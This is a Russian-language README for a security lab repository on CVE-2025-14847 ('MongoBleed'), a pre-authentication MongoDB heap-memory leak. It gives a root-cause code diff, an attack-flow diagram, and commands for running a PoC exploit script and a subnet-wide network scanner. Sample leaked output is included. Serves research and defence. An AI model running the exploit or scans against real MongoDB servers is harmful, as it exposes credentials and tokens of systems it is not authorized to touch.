🩸 MongoBleed - CVE-2025-14847 Лаборатория безопасности
CVE-2025-14847 | CVSS 8.7 (Высокий) | Неавторизованное раскрытие памяти
CVE-2025-14847, названная MongoBleed, позволяет неавторизованным удалённым атакующим извлекать неинициализированную память кучи, используя уязвимость в логике декомпрессии zlib в MongoDB. Эта высокая степень серьёзности раскрывает чувствительные артефакты, включая учётные данные в открытом виде и токены сессий, предоставляя карту для бокового перемещения и полного захвата сервера.
📖 Полная документация →
TL;DR для инженерных команд
| Аспект | Детали |
|---|
| Что уязвимо | Уровень сетевого транспорта MongoDB с использованием сжатия zlib |
| Серьёзность | Высокая (CVSS 8.7/7.5) |
| Воздействие | Неавторизованное удалённое раскрытие неинициализированной памяти кучи |
| Почему это важно | Утекшие фрагменты содержат пароли к БД, секретные ключи AWS и внутреннее состояние сервера |
| Статус эксплойта | Публичный Proof-of-Concept (PoC) «mongobleed» подтверждён и распространяется |
| Что делать сегодня | Немедленно обновить до исправленных версий или отключить сжатие zlib |
Масштаб экспозиции
- 87 000 – 194 000 публично открытых экземпляров MongoDB
- 42% облачных сред затронуты (Исследование Wiz)
- Аутентификация не требуется – эксплойты работают до аутентификации
🔬 Анатомия уязвимости
Технический анализ
Уязвимость существует в уровне сетевого транспорта MongoDB (message_compressor_zlib.cpp), где критическая ошибка в логике декомпрессии zlib позволяет неавторизованным атакующим утекать чувствительную память сервера.
Корневая причина
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Returns ALLOCATED buffer size
// PATCHED CODE (after fix)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Returns ACTUAL decompressed data length
Поток эксплуатации
┌─────────────────────────────────────────────────────────────────────────────┐
│ MongoBleed Attack Vector │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTACKER VULNERABLE MongoDB │
│ │ │ │
│ │ 1. Send OP_COMPRESSED message │ │
│ │ uncompressedSize: 8192 (LIE) │ │
│ │ actual data: ~100 bytes │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Allocate 8192-byte buffer │
│ │ 3. Decompress ~100 bytes │
│ │ 4. BUG: Return buffer.length() = 8192 │
│ │ 5. BSON parser reads uninitialized memory │
│ │ │ │
│ │ 6. Error response with leaked │ │
│ │ memory as "field names" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 LEAKED DATA: │ │
│ - API keys, passwords, tokens │
│ - MongoDB internal state │
│ - WiredTiger storage configs │
│ - System /proc information │
│ - Client connection data │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Затронутые версии
Хронология обнаружения
| Дата | Событие |
|---|
| 15 дек 2025 | Уязвимость выявлена; внутренняя заявка SERVER-115508 |
| 19 дек 2025 |
📁 Структура проекта
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Лаборатория эксплойта
│ ├── docker-compose.yml # Уязвимый и исправленный экземпляры MongoDB
│ ├── mongobleed.py # PoC эксплуатации утечки памяти
│ ├── init/init-mongo.js # Чувствительные тестовые данные
│ ├── test-exploit.sh # Скрипт тестирования лаборатории
│ └── README.md # Документация лаборатории
│
├── scanner/ # 🌐 Сетевой сканер
│ ├── mongobleed_scanner.py # Сканер уязвимости по IP/домену
│ ├── sample-targets.txt # Пример файла с целями
│ └── README.md # Документация сканера
│
├── code-scan/ # 📂 Сканер кода
│ ├── main.py # Точка входа CLI
│ ├── scanners/ # Сканеры для Docker, Python, инфраструктуры
│ ├── models/ # Модели Findings, Vulnerability
│ ├── integrations/ # Выгрузка в Phoenix Security
│ └── README.md # Документация сканера кода
│
└── original-exploit/ # 📚 Оригинальный PoC для справки
🚀 Быстрый старт
1. Лаборатория эксплойта
cd exploit
# Запуск лаборатории (уязвимый + исправленный экземпляры)
docker-compose up -d
sleep 10
# Тестирование уязвимого экземпляра (должна произойти утечка памяти)
python3 mongobleed.py --host localhost --port 27017
# Тестирование исправленного экземпляра (не должно быть утечки)
python3 mongobleed.py --host localhost --port 27018
# Полное тестирование лаборатории
./test-exploit.sh
2. Сетевой сканер
cd scanner
# Сканирование одного хоста
python3 mongobleed_scanner.py 192.168.1.100
# Сканирование диапазона сети
python3 mongobleed_scanner.py 192.168.1.0/24
# Сканирование из файла
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
3. Сканер кода
cd code-scan
# Сканирование проекта на наличие уязвимых версий MongoDB
python3 main.py scan /path/to/project
# Сканирование и выгрузка в Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Запуск тестов
python3 main.py test
⚡ Быстрые команды
# === ЛАБОРАТОРИЯ ЭКСПЛОЙТА ===
# Запуск лаборатории
cd exploit && docker-compose up -d && sleep 10
# Запуск эксплойта (уязвимый экземпляр)
python3 exploit/mongobleed.py --host localhost --port 27017
# Запуск эксплойта (исправленный экземпляр — проверка отсутствия утечек)
python3 exploit/mongobleed.py --host localhost --port 27018
# === СЕТЕВОЙ СКАНЕР ===
# Сканирование локальной лаборатории
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Сканирование сети
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === СКАНЕР КОДА ===
# Сканирование текущей директории
python3 code-scan/main.py scan .
# Сканирование с выводом JSON
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Сканирование и выгрузка в Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
📊 Примеры вывода
Вывод эксплойта
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[!] Potential secrets detected:
• RSA Private Key
• Lab Secret
Вывод сетевого сканера
[*] Scanning 254 targets with 10 threads...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]
SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts: 12
MongoDB instances: 8
VULNERABLE: 3
Вывод сканера кода
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================
🚨 VULNERABLE MONGODB VERSIONS DETECTED
1. [email protected]
File: /project/docker-compose.yml
Type: docker-compose
Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
✅ Upgrade to: 8.2.3
CVE: CVE-2025-14847
🔗 Интеграция с Phoenix Security
Все сканеры поддерживают выгрузку результатов на платформу Phoenix Security:
# Создание конфигурации
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Редактирование с вашими учётными данными
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Сканирование и выгрузка
python3 code-scan/main.py scan /path/to/project --upload-phoenix
🔐 Уведомление о безопасности
⚠️ ВАЖНО: Этот инструментарий предоставлен только для авторизованного тестирования безопасности и исследовательских целей.
- Тестируйте только системы, которые вам принадлежат или на которые у вас есть явное письменное разрешение
- Несанкционированный доступ к компьютерным системам незаконен
- Утекшие данные могут содержать чувствительную информацию — обращайтесь с ними ответственно
- Сообщайте об уязвимостях через надлежащие каналы раскрытия
📚 Документация
🔗 Внешние ссылки
👤 Авторство
- Оригинальный эксплойт от Joe Desimone (@dez_)
- Доработка лабораторной среды и сканера для исследований безопасности
📄 Лицензия
Только для авторизованного тестирования безопасности. Используйте ответственно.
Последнее обновление: Декабрь 2025